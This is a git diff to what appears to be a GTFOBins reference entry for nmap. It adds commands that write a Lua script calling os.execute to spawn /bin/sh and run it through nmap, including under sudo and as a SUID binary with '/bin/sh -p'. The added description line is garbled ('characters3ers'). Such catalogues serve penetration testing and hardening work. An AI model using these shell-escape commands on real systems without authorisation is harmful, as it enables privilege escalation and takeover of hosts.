diff --git a/_gtfobins/nmap.md b/_gtfobins/nmap.md index d3632f5..cc93942 100644 --- a/_gtfobins/nmap.md +++ b/_gtfobins/nmap.md @@ -1,9 +1,18 @@ --- functions: execute-non-interactive: - - code: echo "os.execute('/bin/sh')" > /tmp/script.nse - nmap --script=/tmp/script.nse + - description: Echoing of input characters3ers is disabled. + code: | + echo 'os.execute("/bin/sh")' > /tmp/script.nse + nmap --script=/tmp/script.nse sudo-enabled: - - code: echo "os.execute('/bin/sh')" > /tmp/script.nse - sudo nmap --script=/tmp/script.nse + - description: Echoing of input characters3ers is disabled. + code: | + echo 'os.execute("/bin/sh")' > /tmp/script.nse + sudo nmap --script=/tmp/script.nse + suid-enabled: + - description: Echoing of input characters3ers is disabled. + code: | + echo 'os.execute("/bin/sh -p")' > /tmp/script.nse + ./nmap --script=/tmp/script.nse ---